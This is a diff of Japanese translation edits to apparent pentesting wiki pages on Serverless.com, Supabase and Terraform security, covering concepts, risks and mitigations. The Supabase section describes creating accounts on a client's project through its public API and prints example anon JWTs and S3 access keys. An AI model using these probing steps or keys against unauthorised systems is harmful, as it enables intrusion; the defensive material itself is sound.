各プラットフォームでローカルに実行できるものについては、ローカルで起動する方法が見つかり、テストするために好きなように構成できます。 +- 各プラットフォームでローカルに実行できるものには、テストするために構成できるようにローカルで起動する方法が記載されています。 - Gitea + Jenkinsラボ:[https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov):**Checkov**は、インフラストラクチャコードのための静的コード分析ツールです。 +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov**は、インフラストラクチャコードの静的コード分析ツールです。 ## References diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index ca565be3a..0d28a725e 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -1,4 +1,4 @@ -# Serverless.com Security +# Serverless.com セキュリティ {{#include ../banners/hacktricks-training.md}} @@ -6,19 +6,19 @@ ### 組織 -**Organization** は、Serverless Framework エコシステム内の最上位のエンティティです。これは、複数のプロジェクト、チーム、およびアプリケーションを包含する**集団**、例えば会社、部門、またはその他の大規模なエンティティを表します。 +**組織**は、Serverless Frameworkエコシステム内の最上位のエンティティです。これは、複数のプロジェクト、チーム、およびアプリケーションを包含する**集団**、例えば会社、部門、またはその他の大規模なエンティティを表します。 ### チーム -**Team** は、組織内にアクセスを持つユーザーです。チームは、役割に基づいてメンバーを整理するのに役立ちます。**`Collaborators`** は既存のアプリを表示およびデプロイでき、**`Admins`** は新しいアプリを作成し、組織の設定を管理できます。 +**チーム**は、組織内にアクセスを持つユーザーです。チームは、役割に基づいてメンバーを整理するのに役立ちます。**`コラボレーター`**は既存のアプリを表示およびデプロイでき、**`管理者`**は新しいアプリを作成し、組織の設定を管理できます。 ### アプリケーション -**App** は、組織内の関連サービスの論理的なグループ化です。これは、複数のサーバーレスサービスで構成され、協調して機能を提供する完全なアプリケーションを表します。 +**アプリ**は、組織内の関連サービスの論理的なグループ化です。これは、複数のサーバーレスサービスで構成され、協調して機能を提供する完全なアプリケーションを表します。 ### **サービス** -**Service** は、サーバーレスアプリケーションのコアコンポーネントです。これは、すべての関数、設定、および必要なリソースをカプセル化した、あなたの全サーバーレスプロジェクトを表します。通常、`serverless.yml` ファイルで定義され、サービスにはサービス名、プロバイダー設定、関数、イベント、リソース、プラグイン、およびカスタム変数などのメタデータが含まれます。 +**サービス**は、サーバーレスアプリケーションのコアコンポーネントです。これは、すべての関数、設定、および必要なリソースをカプセル化した、あなたの全サーバーレスプロジェクトを表します。通常、`serverless.yml`ファイルで定義され、サービスにはサービス名、プロバイダー設定、関数、イベント、リソース、プラグイン、およびカスタム変数などのメタデータが含まれます。 ```yaml service: my-service provider: @@ -50,7 +50,7 @@ method: get イベント -**イベント**は、サーバーレス関数を呼び出すトリガーです。これにより、関数がどのように、いつ実行されるべきかが定義されます。 +**イベント**は、サーバーレス関数を呼び出すトリガーです。関数がどのように、いつ実行されるべきかを定義します。 一般的なイベントタイプには、HTTPリクエスト、スケジュールされたイベント(cronジョブ)、データベースイベント、ファイルアップロードなどがあります。 ```yaml @@ -117,7 +117,7 @@ stage: dev provider: stage: dev ``` -地域は、リソースが展開される地理的地域を指定します。これは、レイテンシ、コンプライアンス、および可用性の考慮にとって重要です。 +リージョンは、リソースが展開される地理的地域を指定します。これは、レイテンシ、コンプライアンス、および可用性の考慮にとって重要です。 ```yaml provider: region: us-west-2 @@ -128,7 +128,7 @@ region: us-west-2 プラグイン -**プラグイン** は、Serverless Frameworkの機能を拡張し、新しい機能を追加したり、他のツールやサービスと統合したりします。これらは `plugins` セクションの下で定義され、npmを介してインストールされます。 +**プラグイン** は、Serverless Frameworkの機能を拡張し、新しい機能を追加したり、他のツールやサービスと統合したりします。これらは `plugins` セクションで定義され、npmを介してインストールされます。 ```yaml plugins: - serverless-offline @@ -140,7 +140,7 @@ plugins: レイヤー -**レイヤー** は、共有コードや依存関係を関数とは別にパッケージ化して管理することを可能にします。これにより再利用性が促進され、デプロイメントパッケージのサイズが削減されます。レイヤーは `layers` セクションで定義され、関数によって参照されます。 +**レイヤー**は、共有コードや依存関係を関数とは別にパッケージ化して管理することを可能にします。これにより再利用性が促進され、デプロイメントパッケージのサイズが削減されます。レイヤーは`layers`セクションで定義され、関数によって参照されます。 ```yaml layers: commonLibs: @@ -157,7 +157,7 @@ layers: 変数とカスタム変数 -**変数** は、デプロイ時に解決されるプレースホルダーを使用することで動的な構成を可能にします。 +**変数** は、デプロイ時に解決されるプレースホルダーの使用を許可することによって動的な構成を可能にします。 - **構文:** `${variable}` 構文は、環境変数、ファイルの内容、または他の構成パラメータを参照できます。 @@ -183,7 +183,7 @@ stage: ${opt:stage, 'dev'} 出力 -**出力** は、サービスがデプロイされた後に返される値を定義します。これにはリソースARN、エンドポイント、または他の有用な情報が含まれます。これらは `outputs` セクションの下に指定され、他のサービスに情報を公開したり、デプロイ後の簡単なアクセスのために使用されることがよくあります。 +**出力** は、サービスがデプロイされた後に返される値を定義します。これにはリソースARN、エンドポイント、またはその他の有用な情報が含まれます。これらは `outputs` セクションの下に指定され、他のサービスに情報を公開したり、デプロイ後の簡単なアクセスのために使用されることがよくあります。 ```yaml ¡outputs: ApiEndpoint: @@ -204,7 +204,7 @@ Fn::Join: IAMロールと権限 -**IAMロールと権限**は、あなたの関数やその他のリソースのためのセキュリティ資格情報とアクセス権を定義します。必要な権限を指定するために、`provider`または個々の関数設定の下で管理されます。 +**IAMロールと権限** は、あなたの関数やその他のリソースのセキュリティ資格情報とアクセス権を定義します。これらは、必要な権限を指定するために `provider` または個々の関数設定の下で管理されます。 ```yaml provider: [...] @@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- 環境変数 -**変数**は、設定や秘密を関数にハードコーディングせずに渡すことを可能にします。これらは、プロバイダーまたは個々の関数の`environment`セクションの下で定義されます。 +**変数**を使用すると、設定や秘密を関数にハードコーディングすることなく渡すことができます。これらは、プロバイダーまたは個々の関数の`environment`セクションの下で定義されます。 ```yaml provider: environment: @@ -264,7 +264,7 @@ before:deploy:deploy: echo "Starting deployment..." ### チュートリアル -これは公式チュートリアルの要約です [**ドキュメントから**](https://www.serverless.com/framework/docs/tutorial): +これは公式チュートリアルの要約です [**from the docs**](https://www.serverless.com/framework/docs/tutorial): 1. AWSアカウントを作成する(Serverless.comはAWSインフラストラクチャで開始します) 2. serverless.comにアカウントを作成する @@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` -これは、[serverless.com](serverless.com-security.md) で確認できる **app** `tutorialapp` を作成し、`helloworld` コードを含む JS コードがある **`handler.js`** ファイルと、その関数を宣言する **`serverless.yml`** ファイルを含む `Tutorial` というフォルダーを作成するはずです。 +これにより、`tutorialapp`という**アプリ**が作成され、[serverless.com](serverless.com-security.md)で確認できるようになります。また、`Tutorial`というフォルダーが作成され、`helloworld`コードを含むJSコードがある**`handler.js`**ファイルと、その関数を宣言する**`serverless.yml`**ファイルが含まれます: {{#tabs }} {{#tab name="handler.js" }} @@ -323,9 +323,9 @@ method: get {{#endtab }} {{#endtabs }} -4. AWSプロバイダーを作成します。`https://app.serverless.com//settings/providers?providerId=new&provider=aws`の**ダッシュボード**に移動します。 -1. `serverless.com`にAWSへのアクセスを許可するために、次の構成ファイルを使用してcloudformationスタックを実行するように求められます(この執筆時点でのもの): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) -2. このテンプレートは、**`SFRole-`**というロールを生成し、**`arn:aws:iam::aws:policy/AdministratorAccess`**を持つアカウントに対して、`Serverless.com` AWSアカウントがロールにアクセスできるようにするTrust Identityを持っています。 +4. **ダッシュボード**に行き、AWSプロバイダーを作成します `https://app.serverless.com//settings/providers?providerId=new&provider=aws`。 +1. `serverless.com`にAWSへのアクセスを許可するために、次の構成ファイルを使用してcloudformationスタックを実行するように求められます(この執筆時点で): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) +2. このテンプレートは、**`SFRole-`**というロールを生成し、**`arn:aws:iam::aws:policy/AdministratorAccess`**を持ち、`Serverless.com`のAWSアカウントがそのロールにアクセスできるようにするTrust Identityを持つアカウントに対して設定されます。
@@ -497,7 +497,7 @@ TableName: ${self:service}-customerTable-${sls:stage}
-最小限のラムダ権限 +最小ラムダ権限 ```json { "Version": "2012-10-17", @@ -551,9 +551,9 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- ### **安全でない秘密情報と構成管理** -敏感な情報(例:APIキー、データベースの資格情報)を**`serverless.yml`**やコードに直接保存すると、リポジトリが侵害された場合に露出する可能性があります。 +敏感な情報(例:APIキー、データベースの資格情報)を直接**`serverless.yml`**やコードに保存すると、リポジトリが侵害された場合に露出する可能性があります。 -**推奨される**方法は、serverless.comの**`serverless.yml`**ファイルに環境変数を保存するために、`ssm`または`s3`プロバイダーを使用することです。これにより、**デプロイ時にこれらのソースから環境値を取得し、**lambdas**の環境変数を**値のクリアテキストなしで**構成できます! +**推奨される**方法は、serverless.comの**`serverless.yml`**ファイルに環境変数を保存するために、`ssm`または`s3`プロバイダーを使用することです。これにより、**デプロイ時にこれらのソースから環境値を取得し、**lambdas**の環境変数を**値のクリアテキストなしで構成**できます! > [!CAUTION] > したがって、AWS内のlambdas構成を読み取る権限を持つ人は、**これらの環境変数すべてにクリアテキストでアクセスできるようになります!** @@ -564,26 +564,26 @@ provider: environment: DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} ``` -And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**. +そして、これが**`serverless.yml`**ファイルに環境変数の値をハードコーディングするのを防いでも、値はデプロイ時に取得され、**lambda環境変数内に平文で追加される**ことになります。 > [!TIP] -> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**. +> serveless.comを使用して環境変数を保存する推奨方法は、**AWSシークレットに保存し**、環境変数にシークレット名を保存し、**lambdaコードがそれを取得する**ことです。 #### **緩和戦略** -- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.** -- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data. -- **Access Controls:** Restrict access to secrets based on roles. +- **Secrets Manager統合:** **AWS Secrets Manager**のようなサービスを使用します。 +- **暗号化された変数:** 機密データのためにServerless Frameworkの暗号化機能を活用します。 +- **アクセス制御:** 役割に基づいてシークレットへのアクセスを制限します。 --- ### **脆弱なコードと依存関係** -Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks. +古いまたは安全でない依存関係は脆弱性を引き起こす可能性があり、不適切な入力処理はコードインジェクション攻撃を引き起こす可能性があります。 #### **緩和戦略** -- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities. +- **依存関係管理:** 定期的に依存関係を更新し、脆弱性をスキャンします。 ```yaml plugins: @@ -591,38 +591,38 @@ plugins: - serverless-plugin-snyk ``` -- **Input Validation:** Implement strict validation and sanitization of all inputs. -- **Code Reviews:** Conduct thorough reviews to identify security flaws. -- **Static Analysis:** Use tools to detect vulnerabilities in the codebase. +- **入力検証:** すべての入力の厳格な検証とサニタイズを実施します。 +- **コードレビュー:** セキュリティの欠陥を特定するために徹底的なレビューを行います。 +- **静的分析:** コードベースの脆弱性を検出するためのツールを使用します。 --- ### **不十分なログ記録と監視** -Without proper logging and monitoring, malicious activities may go undetected, delaying incident response. +適切なログ記録と監視がないと、悪意のある活動が検出されず、インシデント対応が遅れる可能性があります。 #### **緩和戦略** -- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**. +- **集中ログ記録:** **AWS CloudWatch**や**Datadog**のようなサービスを使用してログを集約します。 ```yaml plugins: - serverless-plugin-datadog ``` -- **Enable Detailed Logging:** Capture essential information without exposing sensitive data. -- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies. -- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents. +- **詳細なログ記録を有効にする:** 機密データを露出させずに重要な情報をキャプチャします。 +- **アラートの設定:** 疑わしい活動や異常に対してアラートを設定します。 +- **定期的な監視:** 潜在的なセキュリティインシデントのためにログとメトリクスを継続的に監視します。 --- ### **不安全なAPIゲートウェイ設定** -Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks. +オープンまたは不適切に保護されたAPIは、不正アクセス、サービス拒否(DoS)攻撃、またはクロスサイト攻撃に悪用される可能性があります。 #### **緩和戦略** -- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT. +- **認証と認可:** OAuth、APIキー、またはJWTのような堅牢なメカニズムを実装します。 ```yaml functions: @@ -635,7 +635,7 @@ method: get authorizer: aws_iam ``` -- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates. +- **レート制限とスロットリング:** リクエストレートを制限することで悪用を防ぎます。 ```yaml provider: @@ -645,7 +645,7 @@ burstLimit: 200 rateLimit: 100 ``` -- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers. +- **安全なCORS設定:** 許可されたオリジン、メソッド、およびヘッダーを制限します。 ```yaml functions: @@ -661,19 +661,19 @@ headers: - Content-Type ``` -- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns. +- **Webアプリケーションファイアウォール(WAF)の使用:** 悪意のあるパターンのHTTPリクエストをフィルタリングおよび監視します。 --- ### **不十分な関数の分離** -Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions. +共有リソースと不十分な分離は、特権の昇格や関数間の意図しない相互作用を引き起こす可能性があります。 #### **緩和戦略** -- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation. -- **Resource Partitioning:** Use separate databases or storage buckets for different functions. -- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation. +- **関数の分離:** 独立した操作を確保するために、異なるリソースとIAMロールを割り当てます。 +- **リソースのパーティショニング:** 異なる関数のために別々のデータベースやストレージバケットを使用します。 +- **VPCの使用:** ネットワークの分離を強化するために、仮想プライベートクラウド内に関数をデプロイします。 ```yaml provider: @@ -684,17 +684,17 @@ subnetIds: - subnet-xxxxxx ``` -- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required. +- **関数の権限を制限:** 明示的に必要でない限り、関数が互いのリソースにアクセスしたり干渉したりできないようにします。 --- ### **不十分なデータ保護** -Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering. +静止中または転送中の暗号化されていないデータは露出する可能性があり、データ侵害や改ざんを引き起こす可能性があります。 #### **緩和戦略** -- **Encrypt Data at Rest:** Utilize cloud service encryption features. +- **静止中のデータを暗号化:** クラウドサービスの暗号化機能を利用します。 ```yaml resources: @@ -706,107 +706,107 @@ SSESpecification: SSEEnabled: true ``` -- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions. -- **Secure API Communication:** Enforce encryption protocols and validate certificates. -- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly. +- **転送中のデータを暗号化:** すべてのデータ送信にHTTPS/TLSを使用します。 +- **API通信の保護:** 暗号化プロトコルを強制し、証明書を検証します。 +- **暗号化キーを安全に管理:** 管理されたキーサービスを使用し、定期的にキーをローテーションします。 --- ### **適切なエラーハンドリングの欠如** -Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes. +詳細なエラーメッセージは、インフラストラクチャやコードベースに関する機密情報を漏洩させる可能性があり、未処理の例外はアプリケーションのクラッシュを引き起こす可能性があります。 #### **緩和戦略** -- **Generic Error Messages:** Avoid exposing internal details in error responses. +- **一般的なエラーメッセージ:** エラー応答に内部の詳細を露出させないようにします。 ```javascript -javascriptCopy code// Example in Node.js +javascriptCopy code// Node.jsの例 exports.hello = async (event) => { try { -// Function logic +// 関数のロジック } catch (error) { console.error(error); return { statusCode: 500, -body: JSON.stringify({ message: 'Internal Server Error' }), +body: JSON.stringify({ message: '内部サーバーエラー' }), }; } }; ``` -- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions. -- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users. +- **中央集中的なエラーハンドリング:** すべての関数でエラーを一貫して管理し、サニタイズします。 +- **エラーの監視とログ記録:** 詳細をエンドユーザーに露出させずに、内部でエラーを追跡し分析します。 --- ### **不安全なデプロイメントプラクティス** -Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations. +露出したデプロイメント構成やCI/CDパイプラインへの不正アクセスは、悪意のあるコードのデプロイや誤設定を引き起こす可能性があります。 #### **緩和戦略** -- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits. -- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data. -- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies. -- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices. +- **CI/CDパイプラインのセキュリティ:** 厳格なアクセス制御、多要素認証(MFA)、および定期的な監査を実施します。 +- **構成を安全に保存:** デプロイメントファイルをハードコーディングされたシークレットや機密データから解放します。 +- **Infrastructure as Code(IaC)セキュリティツールの使用:** **Checkov**や**Terraform Sentinel**のようなツールを使用してセキュリティポリシーを強制します。 +- **不変のデプロイメント:** 不正な変更を防ぐために、不変のインフラストラクチャプラクティスを採用します。 --- ### **プラグインと拡張機能の脆弱性** -Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications. +未検証または悪意のあるサードパーティプラグインを使用すると、サーバーレスアプリケーションに脆弱性が導入される可能性があります。 #### **緩和戦略** -- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources. -- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface. -- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches. -- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises. +- **プラグインを徹底的に評価:** 統合前にプラグインのセキュリティを評価し、信頼できるソースからのものを優先します。 +- **プラグインの使用を制限:** 攻撃面を最小限に抑えるために、必要なプラグインのみを使用します。 +- **プラグインの更新を監視:** セキュリティパッチの恩恵を受けるためにプラグインを更新します。 +- **プラグイン環境を分離:** プラグインを隔離された環境で実行し、潜在的な侵害を抑制します。 --- ### **機密エンドポイントの露出** -Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations. +公開アクセス可能な関数や制限のないAPIは、不正な操作に悪用される可能性があります。 #### **緩和戦略** -- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources. -- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization. -- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting. -- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use. +- **関数アクセスの制限:** VPC、セキュリティグループ、およびファイアウォールルールを使用して、信頼できるソースへのアクセスを制限します。 +- **堅牢な認証の実装:** すべての公開エンドポイントが適切な認証と認可を必要とすることを確認します。 +- **APIゲートウェイを安全に使用:** APIゲートウェイを構成して、入力検証やレート制限を含むセキュリティポリシーを強制します。 +- **未使用のエンドポイントを無効にする:** 定期的にレビューし、もはや使用されていないエンドポイントを無効にします。 --- -### **チームメンバーと外部コラボレーターの過剰な権限** +### **チームメンバーと外部コラボレーターへの過剰な権限** -Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats. +チームメンバーや外部コラボレーターに過剰な権限を付与すると、不正アクセス、データ侵害、リソースの悪用につながる可能性があります。このリスクは、複数の個人が異なるレベルのアクセスを持つ環境で高まるため、攻撃面が広がり、内部脅威の可能性が増加します。 #### **緩和戦略** -- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks. +- **最小権限の原則:** チームメンバーやコラボレーターがタスクを実行するために必要な権限のみを持つことを確認します。 --- ### **アクセスキーとライセンスキーのセキュリティ** -**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI. +**アクセスキー**と**ライセンスキー**は、Serverless Framework CLIとの相互作用を認証および承認するために使用される重要な資格情報です。 -- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI. -- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`. +- **ライセンスキー:** CLI経由でログインするために必要なServerless Frameworkバージョン4へのアクセスを認証するためのユニークな識別子です。 +- **アクセスキー:** Serverless Framework Dashboardと認証するためにServerless Framework CLIが使用する資格情報です。`serverless` cliでログインすると、アクセスキーが**生成されてラップトップに保存されます**。また、`SERVERLESS_ACCESS_KEY`という名前の環境変数として設定することもできます。 #### **セキュリティリスク** -1. **Exposure Through Code Repositories:** -- Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access. -2. **Insecure Storage:** -- Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage. -3. **Improper Distribution:** -- Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors. -4. **Lack of Rotation:** -- Not regularly rotating keys extends the exposure period if keys are compromised. -5. **Excessive Permissions:** -- Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources. +1. **コードリポジトリを通じた露出:** +- アクセスキーやライセンスキーをハードコーディングしたり、バージョン管理システムに誤ってコミットしたりすると、不正アクセスにつながる可能性があります。 +2. **不安全なストレージ:** +- 環境変数や構成ファイル内に平文でキーを保存することは、漏洩の可能性を高めます。 +3. **不適切な配布:** +- 不安全なチャネル(例:メール、チャット)を通じてキーを共有すると、悪意のある行為者によって傍受される可能性があります。 +4. **ローテーションの欠如:** +- 定期的にキーをローテーションしないと、キーが侵害された場合の露出期間が延びます。 +5. **過剰な権限:** +- 幅広い権限を持つキーは、複数のリソースにわたって不正な操作を行うために悪用される可能性があります。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index e14b58d48..ba87ea9ee 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -8,7 +8,7 @@ ### サブドメイン -基本的にプロジェクトが作成されると、ユーザーは次のようなsupabase.coのサブドメインを受け取ります:**`jnanozjdybtpqgcwhdiz.supabase.co`** +基本的にプロジェクトが作成されると、ユーザーはsupabase.coのサブドメインを受け取ります:**`jnanozjdybtpqgcwhdiz.supabase.co`** ## **データベース設定** @@ -37,9 +37,9 @@ ### anon APIキー -**anon APIキー**(`role: "anon"`)も生成されます:`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`、アプリケーションがAPIキーに接触するために使用する必要があります。 +また、**anon APIキー**(`role: "anon"`)を生成します:`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`、これはアプリケーションが私たちの例で公開されたAPIキーに連絡するために使用する必要があります。 -このAPIに接触するためのAPI RESTは[**ドキュメント**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server)で見つけることができますが、最も興味深いエンドポイントは次のとおりです: +このAPIに連絡するためのAPI RESTは[**ドキュメント**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server)で見つけることができますが、最も興味深いエンドポイントは次のとおりです:
@@ -99,9 +99,9 @@ Priority: u=1, i ```
-だから、クライアントが与えられたサブドメインを使用してsupabaseを利用していることを発見した場合(会社のサブドメインが彼らのsupabaseサブドメインにCNAMEを持っている可能性があります)、**supabase APIを使用してプラットフォームに新しいアカウントを作成する**ことを試みるかもしれません。 +クライアントが付与されたサブドメインを使用してsupabaseを利用していることを発見した場合(会社のサブドメインが彼らのsupabaseサブドメインにCNAMEを持つ可能性があります)、**supabase APIを使用して新しいアカウントを作成する**ことを試みることができます。 -### secret / service_role api keys +### secret / service_role APIキー **`role: "service_role"`**を持つ秘密のAPIキーも生成されます。このAPIキーは、**Row Level Security**をバイパスできるため、秘密にしておく必要があります。 @@ -111,48 +111,48 @@ APIキーは次のようになります: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e **JWT Secret**も生成され、アプリケーションが**カスタムJWTトークンを作成および署名**できるようになります。 -## Authentication +## 認証 -### Signups +### サインアップ > [!TIP] -> **デフォルト**では、supabaseは**新しいユーザーがアカウントを作成する**ことをプロジェクトで許可します。 +> **デフォルト**では、supabaseは**新しいユーザーがプロジェクトにアカウントを作成する**ことを許可します。 -しかし、これらの新しいアカウントは、デフォルトで**メールアドレスを検証する必要があります**。メールアドレスを検証せずにログインできるようにするために、**「匿名サインインを許可」**を有効にすることが可能です。これにより、**予期しないデータ**にアクセスできる可能性があります(彼らは`public`と`authenticated`の役割を得ます)。\ -これは非常に悪いアイデアです。なぜなら、supabaseはアクティブユーザーごとに料金を請求するため、人々はユーザーを作成してログインし、supabaseはそれに対して料金を請求するからです: +ただし、これらの新しいアカウントは、デフォルトで**メールアドレスを確認する必要があります**。メールアドレスを確認せずにログインできるようにするには、**「匿名サインインを許可」**を有効にすることができます。これにより、**予期しないデータ**にアクセスできる可能性があります(彼らは`public`および`authenticated`の役割を取得します)。\ +これは非常に悪いアイデアです。なぜなら、supabaseはアクティブユーザーごとに料金を請求するため、人々がユーザーを作成してログインし、supabaseがそれに対して料金を請求する可能性があるからです:
-### Passwords & sessions +### パスワードとセッション 最小パスワード長(デフォルト)、要件(デフォルトではなし)を指定し、漏洩したパスワードの使用を禁止することが可能です。\ -**デフォルトの要件は弱いため、要件を改善することをお勧めします**。 +デフォルトの要件は弱いため、**要件を改善することをお勧めします**。 - ユーザーセッション: ユーザーセッションの動作を構成することが可能です(タイムアウト、ユーザーごとに1セッション...) - ボットおよび悪用保護: Captchaを有効にすることが可能です。 -### SMTP Settings +### SMTP設定 メールを送信するためのSMTPを設定することが可能です。 -### Advanced Settings +### 高度な設定 - アクセストークンの有効期限を設定(デフォルトは3600) -- 潜在的に侵害されたリフレッシュトークンを検出して取り消し、タイムアウトを設定 +- 潜在的に侵害されたリフレッシュトークンを検出して取り消すように設定し、タイムアウトを設定 - MFA: ユーザーごとに同時に登録できるMFA要素の数を指定(デフォルトは10) -- 最大直接データベース接続: 認証に使用される最大接続数(デフォルトは10) +- 最大直接データベース接続: 認証に使用される接続の最大数(デフォルトは10) - 最大リクエスト期間: 認証リクエストが持続できる最大時間(デフォルトは10秒) -## Storage +## ストレージ > [!TIP] -> Supabaseは**ファイルを保存し**、URL経由でアクセス可能にします(S3バケットを使用します)。 +> Supabaseは**ファイルを保存し**、URLを介してアクセス可能にします(S3バケットを使用します)。 - アップロードファイルサイズの制限を設定(デフォルトは50MB) - S3接続は次のようなURLで提供されます: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` -- `access key ID`(例: `a37d96544d82ba90057e0e06131d0a7b`)と`secret access key`(例: `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)から構成される**S3アクセスキーを要求する**ことが可能です。 +- `access key ID`(例: `a37d96544d82ba90057e0e06131d0a7b`)と`secret access key`(例: `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)で構成される**S3アクセスキーを要求**することが可能です。 -## Edge Functions +## エッジ関数 supabaseに**秘密を保存する**ことも可能で、これは**エッジ関数によってアクセス可能**です(ウェブから作成および削除できますが、その値に直接アクセスすることはできません)。 diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 74aa5f4a0..dfc0af7cb 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,7 +6,7 @@ [ドキュメントから:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraformは、**インフラストラクチャをコードとして管理するツール**であり、**クラウドおよびオンプレミスのリソース**を人間が読みやすい設定ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。 +HashiCorp Terraformは、**インフラストラクチャをコードとして管理するツール**であり、**クラウドおよびオンプレミスのリソース**を人間が読みやすい構成ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。 #### Terraformはどのように機能しますか? @@ -14,13 +14,13 